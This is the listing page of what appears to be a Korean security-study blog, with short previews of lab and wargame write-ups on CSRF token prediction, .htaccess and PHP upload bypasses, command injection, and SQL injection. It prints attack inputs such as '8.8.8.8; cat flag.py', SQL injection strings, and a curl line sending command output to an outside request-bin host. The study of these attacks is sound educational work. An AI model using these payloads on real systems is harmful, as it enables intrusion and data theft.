전체 글 27

시큐어 코딩

첫번째로는 view.php의 비밀번호 인젝션 방지로 문자 확인 구문을 사용해 인젝션을 예방했다. 아래는 idx값 변조 방지로 숫자 확인 구문을 사용했다.   두번째로는 action.php에서의 글 삭제 방지 구문으로 삭제 페이지의 비밀번호 인젝션을 방지하여 무단 글 삭제를 방지한다.  마지막으로는 modify.php에서 idx값을 변조하지 못하도록 숫자 확인 구문을 넣었다.

카테고리 없음 2024.11.20

CSRF Advanced

기본적인 구조는 CSRT 2와 유사한 구조를 보이고 있다.다만 로그인 코드를 확인해보면 일회성이 아닌 토큰을 발급하는걸 확인해 볼 수 있다.  change_password를 확인해보면 토큰을 알고있어야 비밀번호 변경이 가능하다는걸 볼 수 있다.발급되는 토큰은 매번 초기화되는것이 아닌 항상 같은 값이기에 이 토큰의 값만 알아낼수 있다면 간단하게로그인을 시도할 수 있을것으로 보인다.  발급되는 토큰은 입력된 username과 remote_addr를 결합하여 MD5 해시 객체를 생성한다.이때 username은 우리가 로그인하길 원하는 admin이고 remote_addr 라는 헤더는 TCP/IP 접속시 생성되는 값으로, 접속자의 IP 주소값를 뜻한다.  따라서 이런 코드를 작성해 토큰 값을 알아낼수 있다.확인된..

카테고리 없음 2024.11.17

Apache htaccess

소스 코드를 확인해보면 이렇게 파일에 필터링이 걸려있는걸 확인해 볼 수 있다.따라서 이를 해결하기 위해 htaccess파일을 이용할것이다. htaccess파일이란 간단하게 설정 파일로 htaccess파일을 이용해 필터링을 우회하여 text파일을 php파일로 실행시킬것이다.  이 문구는 php 파일의 타입을 설정하여 웹 서버가 해당 파일을 PHP로 해석하도록 하는 코드로설정 적용시 text 파일의 값을 php로 인식해 실행키기게 된다. 변한게 없어 보이지만 지금 이 사이트는 text파일을 php파일로 인식하게 설정되어 있다. 이제 text 파일을 작성해보자  이런식으로 flag파일의 내용을 출력하는 코드를 작성한 후 text파일로 저장하여 업로드해보면  이렇게 플래그를 출력할 수 있다.

카테고리 없음 2024.11.10

image-storage

파일 업로드를 통해 취약점을 공략하는 문제이다.사이트를 확인해보면 파일을 업로드하는 부분과 이렇게 업로드된 파일이 저장되는 부분을 확인해볼수 있다. 업로드 소스코드를 확인했을때 따로 필터링이 걸리지 않는 모습을 볼 수 있다. 따라서 업로드 된 파일이 실행되도록 php파일을 만들고 flag.txt를 출력하게 하면 된다.  이런식으로 php파일을 작성하고 업로드해주면  이렇게 플래그를 확인할 수 있다.

카테고리 없음 2024.11.10

command-injection-chatgpt

핑을 보내는 창이다.8.8.8.8 cat flag.py를 통해 바로 플레그를 출력해보자  당연하지만 막혀있는 모습을 확인할 수 있다. 그렇다면 문제 코드를 확인해보자check_output(['/bin/sh', '-c', cmd]에서 입력을 받는 모습을 확인할 수 있다.별다른 제약이 있는것도 아니니 그냥 ;로 8.8.8.8 뒤에 명령어를 실행시키면 된다. 8.8.8.8; cat flag.py를 입력해보면 플레그가 출력된다.

카테고리 없음 2024.10.06

blind-command

문제 사이트를 확인해보면 ?cmd=[cmd]라는 문장만 출력되있는 기괴한 화면을 확인할 수 있다.이것만으로는 아무것도 확인할 수 없으니 소스코드를 열어보자  소스코드도 굉장이 짧게 구성되어 있다.핵심적인 부분만 확인해보자if request.method == 'GET':        '  ' 위 코드를 보면 get으로 값을 받을경우 출력이 먹통이 되는 모습을 확인할 수 있다.따라서 get을 사용하지 않고 get의 역할을 하는 head를 사용해 request를 요청해야 한다. 이제 코드를 작성해보자  curl을 통해 드림핵에서 제공하는 임시 서버로 http://host3.dreamhack.games:19809/?cmd=curl+https://jrvwimg.request.dreamhack.games/`cat+..

카테고리 없음 2024.10.06

Union Based SQL Injection

우선 취약점을 확인해보자검색할 단어인 admin에서 min만을 입력하여 검색해보면 이렇게 불완전한 문장도 검색이 되는것을 확인할수 있다.따라서 사이트의 검색 코드는 select * from 테이블명 where id like '%~%' 일것이다.이제 Injection이 가능한지 확인해보자  admin%' and '1%'='1을 입력해보면 이렇게 검색이 되는 모습을 확인할 수 있다.  admin%' and '1%'='1 이라는 명령어는 where id like '%~%' 에서where id like '%admin%' and '1%'='1%' 이라는 구문으로 실행된다.이게 무슨 말이나면 %' 를 통해 강제로 구문을 닫고 명령어를 입력해도 정상적으로 실행이 가능하다는 소리다.  이제 Injection을 진행해보..

카테고리 없음 2024.10.06

과제

위 코드는 자신이 올린 글을 삭제할때의 url이다.위 url을 사용해 삭제 페이지의 접속한 후 비밀번호를 sql injection으로 해킹하면 글을 삭제할수 있을것이다. 우선 지우고 싶은 글의 idx 번호를 찾는다.  1이란 제목의 글의 idx 번호는 6이다. 따라서 auth&mode=delete&idx=6을 통해 글을 삭제할수 있다. 이제 삭제 페이지 url을 입력한 후 접속해보면 삭제 페이지 접속에 성공했다. 바로 injection을 진행해보자sql injection을 사용해 비밀번호를 뚫어보면  이렇게 타인의 글을 삭제할수 있다.

카테고리 없음 2024.10.02